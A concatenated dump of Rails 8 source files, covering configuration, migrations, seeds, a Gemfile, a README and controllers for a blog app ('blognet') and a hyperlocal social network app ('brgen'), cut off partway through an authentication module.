  config.assume_ssl = true

  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.
  # config.force_ssl = true

  # Skip http-to-https redirect for the default health check endpoint.
  # config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }

  # Log to STDOUT with the current request id as a default log tag.
  config.log_tags = [ :request_id ]
  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)

  # Change to "debug" to log everything (including potentially personally-identifiable information!).
  config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")

  # Prevent health checks from clogging up the logs.
  config.silence_healthcheck_path = "/up"

  # Don't log any deprecations.
  config.active_support.report_deprecations = false

  # Replace the default in-process memory cache store with a durable alternative.
  config.cache_store = :solid_cache_store

  # Replace the default in-process and non-durable queuing backend for Active Job.
  config.active_job.queue_adapter = :solid_queue
  config.solid_queue.connects_to = { database: { writing: :queue } }

  # Ignore bad email addresses and do not raise email delivery errors.
  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
  # config.action_mailer.raise_delivery_errors = false

  # Set host to be used by links generated in mailer templates.
  config.action_mailer.default_url_options = { host: "blognet.no", protocol: "https" }

  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
  # config.action_mailer.smtp_settings = {
  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),
  #   password: Rails.application.credentials.dig(:smtp, :password),
  #   address: "smtp.example.com",
  #   port: 587,
  #   authentication: :plain
  # }

  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
  # the I18n.default_locale when a translation cannot be found).
  config.i18n.fallbacks = true

  # Do not dump schema after migrations.
  config.active_record.dump_schema_after_migration = false

  # Only use :id for inspections in production.
  config.active_record.attributes_for_inspect = [ :id ]

  config.hosts = ["blognet.no", "www.blognet.no"]
  config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end

rails/blognet/config/importmap.rb

# frozen_string_literal: true

# Pin npm packages by running ./bin/importmap

pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "@hotwired--stimulus.js" # @3.2.2
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "@stimulus-components/dialog", to: "@stimulus-components--dialog.js" # @1.0.1
pin "@stimulus-components/auto-submit", to: "@stimulus-components--auto-submit.js" # @6.0.0
pin "@stimulus-components/character-counter", to: "@stimulus-components--character-counter.js" # @5.1.0
pin "@stimulus-components/dropdown", to: "@stimulus-components--dropdown.js" # @3.0.0
pin "stimulus-use" # @0.52.3
pin "@stimulus-components/clipboard", to: "@stimulus-components--clipboard.js" # @5.0.0
pin "@stimulus-components/notification", to: "@stimulus-components--notification.js" # @3.0.0
pin "@stimulus-components/timeago", to: "@stimulus-components--timeago.js" # @5.0.2
pin "date-fns" # @4.1.0
pin "@stimulus-components/animated-number", to: "@stimulus-components--animated-number.js" # @5.0.0
pin "@stimulus-components/sortable", to: "@stimulus-components--sortable.js" # @5.0.3
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js" # @0.0.13
pin "@rails/request.js", to: "@rails--request.js.js" # @0.0.13
pin "sortablejs" # @1.15.7

rails/blognet/config/puma.rb

# frozen_string_literal: true

# This configuration file will be evaluated by Puma. The top-level methods that
# are invoked here are part of Puma's configuration DSL. For more information
# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
#
# Puma starts a configurable number of processes (workers) and each process
# serves each request in a thread from an internal thread pool.
#
# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
# should only set this value when you want to run 2 or more workers. The
# default is already 1. You can set it to `auto` to automatically start a worker
# for each available processor.
#
# The ideal number of threads per worker depends both on how much time the
# application spends waiting for IO operations and on how much you wish to
# prioritize throughput over latency.
#
# As a rule of thumb, increasing the number of threads will increase how much
# traffic a given process can handle (throughput), but due to CRuby's
# Global VM Lock (GVL) it has diminishing returns and will degrade the
# response time (latency) of the application.
#
# The default is set to 3 threads as it's deemed a decent compromise between
# throughput and latency for the average Rails application.
#
# Any libraries that use a connection pool or another resource pool should
# be configured to provide at least as many connections as the number of
# threads. This includes Active Record's `pool` parameter in `database.yml`.
threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)
threads threads_count, threads_count

# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
port ENV.fetch("PORT", 3000)

# Allow puma to be restarted by `bin/rails restart` command.
plugin :tmp_restart

# Run the Solid Queue supervisor inside of Puma for single-server deployments.
plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]

# Specify the PID file. Defaults to tmp/pids/server.pid in development.
# In other environments, only set the PID file if requested.
pidfile ENV["PIDFILE"] if ENV["PIDFILE"]

rails/blognet/config/queue.yml

default: &default
  dispatchers:
    - polling_interval: 1
      batch_size: 500
  workers:
    - queues: "*"
      threads: 3
      processes: <%= ENV.fetch("JOB_CONCURRENCY", 1) %>
      polling_interval: 0.1

development:
  <<: *default

test:
  <<: *default

production:
  <<: *default

rails/blognet/config/recurring.yml

# examples:
#   periodic_cleanup:
#     class: CleanSoftDeletedRecordsJob
#     queue: background
#     args: [ 1000, { batch_size: 500 } ]
#     schedule: every hour
#   periodic_cleanup_with_command:
#     command: "SoftDeletedRecord.due.delete_all"
#     priority: 2
#     schedule: at 5am every day

production:
  clear_solid_queue_finished_jobs:
    command: "SolidQueue::Job.clear_finished_in_batches(sleep_between_batches: 0.3)"
    schedule: every hour at minute 12

rails/blognet/config/routes.rb

# frozen_string_literal: true

Rails.application.routes.draw do
  resource  :session
  resources :passwords, param: :token

  resources :blogs, path: "b" do
    resources :posts, path: "p" do
      resources :comments, only: %i[create destroy]
    end
  end

  root "blogs#index"
  get 'manifest' => 'rails/pwa#manifest', as: :pwa_manifest
  get 'service-worker' => 'rails/pwa#service_worker', as: :pwa_service_worker
  get "up", to: "rails/health#show", as: :rails_health_check
end

rails/blognet/db/cable_schema.rb

# frozen_string_literal: true

ActiveRecord::Schema[7.1].define(version: 1) do
  create_table "solid_cable_messages", force: :cascade do |t|
    t.binary "channel", limit: 1024, null: false
    t.binary "payload", limit: 536870912, null: false
    t.datetime "created_at", null: false
    t.integer "channel_hash", limit: 8, null: false
    t.index ["channel"], name: "index_solid_cable_messages_on_channel"
    t.index ["channel_hash"], name: "index_solid_cable_messages_on_channel_hash"
    t.index ["created_at"], name: "index_solid_cable_messages_on_created_at"
  end
end

rails/blognet/db/cache_schema.rb

# frozen_string_literal: true

ActiveRecord::Schema[7.2].define(version: 1) do
  create_table "solid_cache_entries", force: :cascade do |t|
    t.binary "key", limit: 1024, null: false
    t.binary "value", limit: 536870912, null: false
    t.datetime "created_at", null: false
    t.integer "key_hash", limit: 8, null: false
    t.integer "byte_size", limit: 4, null: false
    t.index ["byte_size"], name: "index_solid_cache_entries_on_byte_size"
    t.index ["key_hash", "byte_size"], name: "index_solid_cache_entries_on_key_hash_and_byte_size"
    t.index ["key_hash"], name: "index_solid_cache_entries_on_key_hash", unique: true
  end
end

rails/blognet/db/migrate/20260501020807_create_users.rb

# frozen_string_literal: true

class CreateUsers < ActiveRecord::Migration[8.1]
  def change
    create_table :users do |t|
      t.string :email_address, null: false
      t.string :password_digest, null: false

      t.timestamps
    end
    add_index :users, :email_address, unique: true
  end
end

rails/blognet/db/migrate/20260501020818_create_sessions.rb

# frozen_string_literal: true

class CreateSessions < ActiveRecord::Migration[8.1]
  def change
    create_table :sessions do |t|
      t.references :user, null: false, foreign_key: true
      t.string :ip_address
      t.string :user_agent

      t.timestamps
    end
  end
end

rails/blognet/db/migrate/20260501020848_create_active_storage_tables.active_storage.rb

# frozen_string_literal: true

# This migration comes from active_storage (originally 20170806125915)
class CreateActiveStorageTables < ActiveRecord::Migration[7.0]
  def change
    # Use Active Record's configured type for primary and foreign keys
    primary_key_type, foreign_key_type = primary_and_foreign_key_types

    create_table :active_storage_blobs, id: primary_key_type do |t|
      t.string   :key,          null: false
      t.string   :filename,     null: false
      t.string   :content_type
      t.text     :metadata
      t.string   :service_name, null: false
      t.bigint   :byte_size,    null: false
      t.string   :checksum

      if connection.supports_datetime_with_precision?
        t.datetime :created_at, precision: 6, null: false
      else
        t.datetime :created_at, null: false
      end

      t.index [ :key ], unique: true
    end

    create_table :active_storage_attachments, id: primary_key_type do |t|
      t.string     :name,     null: false
      t.references :record,   null: false, polymorphic: true, index: false, type: foreign_key_type
      t.references :blob,     null: false, type: foreign_key_type

      if connection.supports_datetime_with_precision?
        t.datetime :created_at, precision: 6, null: false
      else
        t.datetime :created_at, null: false
      end

      t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true
      t.foreign_key :active_storage_blobs, column: :blob_id
    end

    create_table :active_storage_variant_records, id: primary_key_type do |t|
      t.belongs_to :blob, null: false, index: false, type: foreign_key_type
      t.string :variation_digest, null: false

      t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true
      t.foreign_key :active_storage_blobs, column: :blob_id
    end
  end

  private
    def primary_and_foreign_key_types
      config = Rails.configuration.generators
      setting = config.options[config.orm][:primary_key_type]
      primary_key_type = setting || :primary_key
      foreign_key_type = setting || :bigint
      [ primary_key_type, foreign_key_type ]
    end
end

rails/blognet/db/migrate/20260501020920_create_action_text_tables.action_text.rb

# frozen_string_literal: true

# This migration comes from action_text (originally 20180528164100)
class CreateActionTextTables < ActiveRecord::Migration[6.0]
  def change
    # Use Active Record's configured type for primary and foreign keys
    primary_key_type, foreign_key_type = primary_and_foreign_key_types

    create_table :action_text_rich_texts, id: primary_key_type do |t|
      t.string     :name, null: false
      t.text       :body, size: :long
      t.references :record, null: false, polymorphic: true, index: false, type: foreign_key_type

      t.timestamps

      t.index [ :record_type, :record_id, :name ], name: "index_action_text_rich_texts_uniqueness", unique: true
    end
  end

  private
    def primary_and_foreign_key_types
      config = Rails.configuration.generators
      setting = config.options[config.orm][:primary_key_type]
      primary_key_type = setting || :primary_key
      foreign_key_type = setting || :bigint
      [ primary_key_type, foreign_key_type ]
    end
end

rails/blognet/db/migrate/20260507120001_create_blogs.rb

# frozen_string_literal: true

class CreateBlogs < ActiveRecord::Migration[8.1]
  def change
    create_table :blogs do |t|
      t.string :name
      t.text :description
      t.string :slug
      t.references :user, foreign_key: true
      t.boolean :published, default: false
      t.integer :posts_count, default: 0
      t.timestamps
    end
    add_index :blogs, :slug, unique: true
  end
end

rails/blognet/db/migrate/20260507120002_create_posts.rb

# frozen_string_literal: true

class CreatePosts < ActiveRecord::Migration[8.1]
  def change
    create_table :posts do |t|
      t.string :title
      t.string :slug
      t.references :blog, foreign_key: true
      t.references :user, foreign_key: true
      t.boolean :published, default: false
      t.datetime :published_at
      t.integer :views_count, default: 0
      t.integer :comments_count, default: 0
      t.timestamps
    end
    add_index :posts, :slug, unique: true
  end
end

rails/blognet/db/migrate/20260507120003_create_categories.rb

# frozen_string_literal: true

class CreateCategories < ActiveRecord::Migration[8.1]
  def change
    create_table :categories do |t|
      t.string :name
      t.string :slug
      t.text :description
      t.timestamps
    end
    add_index :categories, :slug, unique: true
  end
end

rails/blognet/db/migrate/20260507120004_create_categorizations.rb

# frozen_string_literal: true

class CreateCategorizations < ActiveRecord::Migration[8.1]
  def change
    create_table :categorizations do |t|
      t.references :post, foreign_key: true
      t.references :category, foreign_key: true
      t.timestamps
    end
  end
end

rails/blognet/db/migrate/20260507120005_create_comments.rb

# frozen_string_literal: true

class CreateComments < ActiveRecord::Migration[8.1]
  def change
    create_table :comments do |t|
      t.references :post, foreign_key: true
      t.references :user, foreign_key: true
      t.integer :parent_id
      t.text :content
      t.boolean :approved, default: true
      t.timestamps
    end
  end
end

rails/blognet/db/migrate/20260507120006_create_tags.rb

# frozen_string_literal: true

class CreateTags < ActiveRecord::Migration[8.1]
  def change
    create_table :tags do |t|
      t.string :name
      t.integer :posts_count, default: 0
      t.timestamps
    end
    add_index :tags, :name, unique: true
  end
end

rails/blognet/db/migrate/20260507120007_create_taggings.rb

# frozen_string_literal: true

class CreateTaggings < ActiveRecord::Migration[8.1]
  def change
    create_table :taggings do |t|
      t.references :post, foreign_key: true
      t.references :tag, foreign_key: true
      t.timestamps
    end
  end
end

rails/blognet/db/queue_schema.rb

# frozen_string_literal: true

ActiveRecord::Schema[7.1].define(version: 1) do
  create_table "solid_queue_blocked_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "queue_name", null: false
    t.integer "priority", default: 0, null: false
    t.string "concurrency_key", null: false
    t.datetime "expires_at", null: false
    t.datetime "created_at", null: false
    t.index [ "concurrency_key", "priority", "job_id" ], name: "index_solid_queue_blocked_executions_for_release"
    t.index [ "expires_at", "concurrency_key" ], name: "index_solid_queue_blocked_executions_for_maintenance"
    t.index [ "job_id" ], name: "index_solid_queue_blocked_executions_on_job_id", unique: true
  end

  create_table "solid_queue_claimed_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.bigint "process_id"
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_claimed_executions_on_job_id", unique: true
    t.index [ "process_id", "job_id" ], name: "index_solid_queue_claimed_executions_on_process_id_and_job_id"
  end

  create_table "solid_queue_failed_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.text "error"
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_failed_executions_on_job_id", unique: true
  end

  create_table "solid_queue_jobs", force: :cascade do |t|
    t.string "queue_name", null: false
    t.string "class_name", null: false
    t.text "arguments"
    t.integer "priority", default: 0, null: false
    t.string "active_job_id"
    t.datetime "scheduled_at"
    t.datetime "finished_at"
    t.string "concurrency_key"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.index [ "active_job_id" ], name: "index_solid_queue_jobs_on_active_job_id"
    t.index [ "class_name" ], name: "index_solid_queue_jobs_on_class_name"
    t.index [ "finished_at" ], name: "index_solid_queue_jobs_on_finished_at"
    t.index [ "queue_name", "finished_at" ], name: "index_solid_queue_jobs_for_filtering"
    t.index [ "scheduled_at", "finished_at" ], name: "index_solid_queue_jobs_for_alerting"
  end

  create_table "solid_queue_pauses", force: :cascade do |t|
    t.string "queue_name", null: false
    t.datetime "created_at", null: false
    t.index [ "queue_name" ], name: "index_solid_queue_pauses_on_queue_name", unique: true
  end

  create_table "solid_queue_processes", force: :cascade do |t|
    t.string "kind", null: false
    t.datetime "last_heartbeat_at", null: false
    t.bigint "supervisor_id"
    t.integer "pid", null: false
    t.string "hostname"
    t.text "metadata"
    t.datetime "created_at", null: false
    t.string "name", null: false
    t.index [ "last_heartbeat_at" ], name: "index_solid_queue_processes_on_last_heartbeat_at"
    t.index [ "name", "supervisor_id" ], name: "index_solid_queue_processes_on_name_and_supervisor_id", unique: true
    t.index [ "supervisor_id" ], name: "index_solid_queue_processes_on_supervisor_id"
  end

  create_table "solid_queue_ready_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "queue_name", null: false
    t.integer "priority", default: 0, null: false
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_ready_executions_on_job_id", unique: true
    t.index [ "priority", "job_id" ], name: "index_solid_queue_poll_all"
    t.index [ "queue_name", "priority", "job_id" ], name: "index_solid_queue_poll_by_queue"
  end

  create_table "solid_queue_recurring_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "task_key", null: false
    t.datetime "run_at", null: false
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_recurring_executions_on_job_id", unique: true
    t.index [ "task_key", "run_at" ], name: "index_solid_queue_recurring_executions_on_task_key_and_run_at", unique: true
  end

  create_table "solid_queue_recurring_tasks", force: :cascade do |t|
    t.string "key", null: false
    t.string "schedule", null: false
    t.string "command", limit: 2048
    t.string "class_name"
    t.text "arguments"
    t.string "queue_name"
    t.integer "priority", default: 0
    t.boolean "static", default: true, null: false
    t.text "description"
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.index [ "key" ], name: "index_solid_queue_recurring_tasks_on_key", unique: true
    t.index [ "static" ], name: "index_solid_queue_recurring_tasks_on_static"
  end

  create_table "solid_queue_scheduled_executions", force: :cascade do |t|
    t.bigint "job_id", null: false
    t.string "queue_name", null: false
    t.integer "priority", default: 0, null: false
    t.datetime "scheduled_at", null: false
    t.datetime "created_at", null: false
    t.index [ "job_id" ], name: "index_solid_queue_scheduled_executions_on_job_id", unique: true
    t.index [ "scheduled_at", "priority", "job_id" ], name: "index_solid_queue_dispatch_all"
  end

  create_table "solid_queue_semaphores", force: :cascade do |t|
    t.string "key", null: false
    t.integer "value", default: 1, null: false
    t.datetime "expires_at", null: false
    t.datetime "created_at", null: false
    t.datetime "updated_at", null: false
    t.index [ "expires_at" ], name: "index_solid_queue_semaphores_on_expires_at"
    t.index [ "key", "value" ], name: "index_solid_queue_semaphores_on_key_and_value"
    t.index [ "key" ], name: "index_solid_queue_semaphores_on_key", unique: true
  end

  add_foreign_key "solid_queue_blocked_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_claimed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_failed_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_ready_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_recurring_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
  add_foreign_key "solid_queue_scheduled_executions", "solid_queue_jobs", column: "job_id", on_delete: :cascade
end

rails/blognet/db/schema.rb

# frozen_string_literal: true

# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `bin/rails
# db:schema:load`. When creating a new database, `bin/rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.

ActiveRecord::Schema[8.1].define(version: 2026_05_01_020920) do
  create_table "action_text_rich_texts", force: :cascade do |t|
    t.text "body"
    t.datetime "created_at", null: false
    t.string "name", null: false
    t.bigint "record_id", null: false
    t.string "record_type", null: false
    t.datetime "updated_at", null: false
    t.index ["record_type", "record_id", "name"], name: "index_action_text_rich_texts_uniqueness", unique: true
  end

  create_table "active_storage_attachments", force: :cascade do |t|
    t.bigint "blob_id", null: false
    t.datetime "created_at", null: false
    t.string "name", null: false
    t.bigint "record_id", null: false
    t.string "record_type", null: false
    t.index ["blob_id"], name: "index_active_storage_attachments_on_blob_id"
    t.index ["record_type", "record_id", "name", "blob_id"], name: "index_active_storage_attachments_uniqueness", unique: true
  end

  create_table "active_storage_blobs", force: :cascade do |t|
    t.bigint "byte_size", null: false
    t.string "checksum"
    t.string "content_type"
    t.datetime "created_at", null: false
    t.string "filename", null: false
    t.string "key", null: false
    t.text "metadata"
    t.string "service_name", null: false
    t.index ["key"], name: "index_active_storage_blobs_on_key", unique: true
  end

  create_table "active_storage_variant_records", force: :cascade do |t|
    t.bigint "blob_id", null: false
    t.string "variation_digest", null: false
    t.index ["blob_id", "variation_digest"], name: "index_active_storage_variant_records_uniqueness", unique: true
  end

  create_table "sessions", force: :cascade do |t|
    t.datetime "created_at", null: false
    t.string "ip_address"
    t.datetime "updated_at", null: false
    t.string "user_agent"
    t.integer "user_id", null: false
    t.index ["user_id"], name: "index_sessions_on_user_id"
  end

  create_table "users", force: :cascade do |t|
    t.datetime "created_at", null: false
    t.string "email_address", null: false
    t.string "password_digest", null: false
    t.datetime "updated_at", null: false
    t.index ["email_address"], name: "index_users_on_email_address", unique: true
  end

  add_foreign_key "active_storage_attachments", "active_storage_blobs", column: "blob_id"
  add_foreign_key "active_storage_variant_records", "active_storage_blobs", column: "blob_id"
  add_foreign_key "sessions", "users"
end

rails/blognet/db/seeds.rb

# frozen_string_literal: true

user = User.find_or_create_by!(email_address: "admin@blognet.example") do |u|
  u.password = u.password_confirmation = "password123"
end

blog = Blog.find_or_create_by!(slug: "demo-blog") do |b|
  b.name        = "Demo Blog"
  b.description = "A demonstration blog"
  b.user        = user
  b.published   = true
end

5.times do |i|
  Post.find_or_create_by!(slug: "post-#{i + 1}") do |p|
    p.title     = "Post #{i + 1}: Getting Started with Rails 8"
    p.body      = "Rails 8 ships with Solid Cache, Solid Queue, and Solid Cable out of the box. This post covers what changed."
    p.blog      = blog
    p.user      = user
    p.published = true
  end
end
puts "Seeded #{Post.count} posts"

rails/brgen/Gemfile

source "https://rubygems.org"
ruby "~> 3.4"

gem "rails", "~> 8.1"
gem "sqlite3", "~> 2.1"
gem "falcon"
gem "async"
gem "async-http"

# Real-time
gem "turbo-rails"
gem "stimulus-rails"
gem "importmap-rails"

# Solid Stack (Rails 8)
gem "solid_queue"
gem "solid_cache"
gem "solid_cable"

# Authentication
gem "bcrypt", "~> 3.1"

# Social
gem "acts_as_tenant"

# Features
gem "pagy"
gem "image_processing"
gem "geocoder"
gem "webpush"
gem "ruby-vips"

# Real-time + LLM + structured data (per ruby_style.yml stimulus_reflex_stack + SEO requirements)
gem "futurism"
gem "ruby_llm"

# Discovery — vision-LLM scrapers (lib/tasks/{reddit,amazon}.rake)
gem "ferrum"

group :development, :test do
  gem "brakeman"
  gem "rubocop-rails-omakase"
  gem "faker"
end

rails/brgen/README.md

# brgen — hyperlocal city network

brgen is the aggregate Rails app for city-scoped social publishing, marketplace, dating, playlist, TV, takeaway, maps, notifications, and local identity.

It keeps the `railsy` product intent, but follows the current pub4 production contract: Rails 8, SQLite, Solid Queue, Solid Cache, Solid Cable, built-in authentication, Falcon, importmap, Hotwire, and OpenBSD rc.d services. The old generator-era assumptions around Devise, Redis, and mandatory PostgreSQL are lineage, not the active deployment shape.

## Surfaces

- Main social network: communities, posts, comments, votes, reactions, follows, messaging, notifications, moderation reports.
- Marketplace: listings, categories, stores, deals, favorites, saved searches, and listing orders.
- Dating: profiles, likes, dislikes, matches, and city-local discovery.
- Playlist: playlists, sets, tracks, listens, audio versions, collaboration, likes, and timestamped comments.
- TV: channels, videos, live streams, stream chats, subscriptions, comments, notes, and view events.
- Takeaway: restaurants, menus, orders, favorite restaurants, delivery drivers.
- Locality: cities, neighborhoods, places, nearby alerts, geolocation, and push subscriptions.
- Trust: external identities, assurance checks, reputation scores, trust signals, account merges.

## Domains

Primary domain: `brgen.no`.

City/domain aliases and subdomains route through OpenBSD `relayd`; app behavior is selected by host and subdomain context inside Rails.

Subdomain apps:

- `tv`
- `dating`
- `playlist`
- `takeaway`
- `marketplace`, plus localized marketplace aliases

## Deploy

```zsh
doas zsh DEPLOY/rails/brgen/brgen.sh

The deploy script must copy the tracked app tree, run Bundler, migrate, seed when present, update rc.d, register relayd, restart the service, and verify /up.

Missing logic backlog

  • Marketplace buyer-seller chat should reuse conversations instead of creating a parallel message system.
  • Playlist sets need routed views for index, show, new, and edit.
  • TV and takeaway operational dashboards need explicit views for driver updates, stream chats, and moderation queues.
  • Dating needs event integration and premium visibility controls.
  • City routing needs a visible locality switcher and domain-to-city audit task.

## `rails/brgen/STIMULUS_ROLLOUT.md`
```markdown
# Brgen Stimulus / Rails 8 rollout

Brgen already has social core models and Hotwire refreshes marked done in `apps.yml`. Use the shared baseline to port the missing social/product interactions without adding dashboards.

## Core social

1. Notification component for likes, replies, follows, mentions, direct messages.
2. Clipboard for post/community/share links.
3. Reveal for post details, moderation reasons, raw permalink metadata.
4. Dropdown for feed sort: hot, fresh, top, local.
5. Auto Submit + Content Loader for live feed/search filters.
6. Timeago on posts, comments, notifications, messages.
7. Confirmation for moderation actions.

## Subapps

### tv

- Lightbox/Dialog for videos.
- Content Loader for episode/video lists.
- Notification for live broadcast start.
- Timeago for publish/scheduled timestamps.

### dating

- Hotkey/swipe actions for like/dislike.
- Dialog for profile detail.
- Lightbox for profile photos.
- Notification for match.
- Turbo Streams for match-to-message handoff.

### marketplace

- Lightbox + Sortable for product photos.
- Dropdown + Auto Submit for category/price/geo filters.
- Notification for saved search match.
- Confirmation for sold/delete actions.

### playlist

- Sortable for tracks.
- Sound for preview.
- Clipboard for playlist share.
- Notification for track added.

### takeaway

- Dialog for item customization.
- Notification for basket/order state.
- Reveal for allergens.
- Turbo Streams for order status.

## Rails 8 work

- Solid Queue: media variants, search indexing, notifications.
- Solid Cable: direct messages, reactions, order/live status.
- Solid Cache: feeds, community cards, search result fragments.
- SQLite FTS5: posts, communities, marketplace, takeaway, tv, playlist.
- Signed IDs: moderation links, listing edit links, order tracking links.

## Acceptance

- Search has empty/loading/no-results/error states.
- Feed and subapps remain usable without JavaScript.
- Notifications are progressive enhancement over server-rendered lists.
- Moderation actions require confirmation and authorization.

rails/brgen/app/channels/application_cable/channel.rb

# frozen_string_literal: true

module ApplicationCable
  class Channel < ActionCable::Channel::Base
  end
end

rails/brgen/app/channels/application_cable/connection.rb

# frozen_string_literal: true

module ApplicationCable
  class Connection < ActionCable::Connection::Base
    identified_by :current_user

    def connect
      set_current_user || reject_unauthorized_connection
    end

    private
      def set_current_user
        if session = Session.find_by(id: cookies.signed[:session_id])
          self.current_user = session.user
        end
      end
  end
end

rails/brgen/app/controllers/activity_events_controller.rb

# frozen_string_literal: true

class ActivityEventsController < ApplicationController
  allow_unauthenticated_access only: :index

  def index
    @events = ActivityEvent.visible.recent.limit(100)
    @events = @events.where(source_vertical: params[:vertical]) if params[:vertical].present?
    @events = @events.where(locality: params[:locality]) if params[:locality].present?
  end
end

rails/brgen/app/controllers/application_controller.rb

# frozen_string_literal: true

class ApplicationController < ActionController::Base
  include Authentication
  include Pagy::Method

  before_action :set_domain_context

  # Only allow modern browsers supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has.
  allow_browser versions: :modern

  # Changes to the importmap will invalidate the etag for HTML responses
  stale_when_importmap_changes

  private

  def set_domain_context
    result = Brgen::DomainRegistry.resolve(request.host)

    Current.city = result.entry.city
    Current.country = result.entry.country
    Current.currency = result.entry.currency
    Current.domain = result.entry.domain
    Current.locale = result.entry.locale
    Current.subapp = result.subapp

    I18n.locale = result.entry.locale
  rescue Brgen::DomainRegistry::UnknownHost, Brgen::DomainRegistry::UnknownSubdomain
    render plain: "Unknown host", status: :not_found
  end
end

rails/brgen/app/controllers/comments_controller.rb

# frozen_string_literal: true

class CommentsController < ApplicationController
  before_action :require_real_user, only: [:destroy, :generate_summary]
  before_action :set_commentable

  def create
    @comment = @commentable.comments.build(comment_params)
    @comment.user      = Current.user
    @comment.parent_id = params[:parent_id] if params[:parent_id]

    if @comment.save
      respond_to do |format|
        format.turbo_stream
        format.html { redirect_back fallback_location: root_path }
      end
    else
      respond_to do |format|
        format.turbo_stream { render turbo_stream: turbo_stream.replace("comment_form", partial: "comments/form", locals: { comment: @comment, commentable: @commentable }) }
        format.html         { redirect_back fallback_location: root_path, alert: @comment.errors.full_messages.to_sentence }
      end
    end
  end

  def destroy
    @comment = Comment.find(params[:id])
    @comment.destroy if @comment.user == Current.user
    respond_to do |format|
      format.turbo_stream { render turbo_stream: turbo_stream.remove(dom_id(@comment)) }
      format.html         { redirect_back fallback_location: root_path }
    end
  end

  def generate_summary
    @comment = Comment.find(params[:id])
    return unless @comment.long_thread?
    ThreadSummarizer.call(@comment)
    respond_to do |format|
      format.turbo_stream { render turbo_stream: turbo_stream.replace(dom_id(@comment), partial: "comments/comment", locals: { comment: @comment }) }
      format.html { redirect_back fallback_location: root_path }
    end
  end

  private

  def set_commentable
    if params[:post_id]
      @commentable = Post.find(params[:post_id])
    elsif params[:comment_id]
      @commentable = Comment.find(params[:comment_id])
    end
  end

  def comment_params
    params.require(:comment).permit(:content)
  end
end

rails/brgen/app/controllers/communities_controller.rb

# frozen_string_literal: true

class CommunitiesController < ApplicationController
  before_action :require_real_user, only: [:new, :create]
  before_action :set_community,     only: [:show]

  def index
    @communities = Community.popular.includes(:user)
  end

  def show
    @posts = @community.posts.hot.includes(:user, :votes)
  end

  def new
    @community = Community.new
  end

  def create
    @community = Community.new(community_params)
    @community.user = Current.user
    if @community.save
      redirect_to @community, notice: "Community created."
    else
      render :new, status: :unprocessable_entity
    end
  end

  private

  def set_community    = @community = Community.find(params[:id])
  def community_params = params.require(:community).permit(:name, :description)
end

rails/brgen/app/controllers/concerns/authentication.rb

# frozen_string_literal: true

module Authentication
  extend ActiveSupport::Concern

  included do
    before_action :resume_session
    helper_method :authenticated?, :current_user, :guest?
  end

  class_methods do
    def allow_unauthenticated_access(**options)
      skip_before_action :resume_session, **options
    end
  end

  private

  def authenticated?
    Current.user.present? && !Current.user.guest?
  end

  def guest?
    Current.user.present? && Current.user.guest?
  end

  def current_user
    Current.user
  end

  def resume_session
    Current.session = find_session_by_cookie
    Current.user = Current.session&.user || find_or_create_guest_user
  end

  def start_new_session_for(user)
    previous_guest_id = session[:guest_user_id]
    reset_session
